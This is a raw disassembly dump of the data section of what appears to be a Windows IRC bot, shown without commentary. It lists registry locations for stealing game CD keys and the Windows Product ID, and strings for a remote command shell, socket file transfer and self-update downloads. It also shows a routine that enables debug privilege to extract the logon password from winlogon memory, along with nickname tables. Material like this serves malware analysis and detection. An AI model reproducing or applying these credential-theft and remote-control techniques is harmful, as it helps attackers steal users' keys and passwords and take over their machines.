aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset aNU1		; DATA XREF: sub_416F1B+DCo
					; "}î1"
		dd offset aGo		; "¾êÊ&ƒoÏ"
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset aNU1		; DATA XREF: sub_416F1B+CEo
					; "}î1"
		dd offset aGo		; "¾êÊ&ƒoÏ"
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBF8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043873Co
		align 4
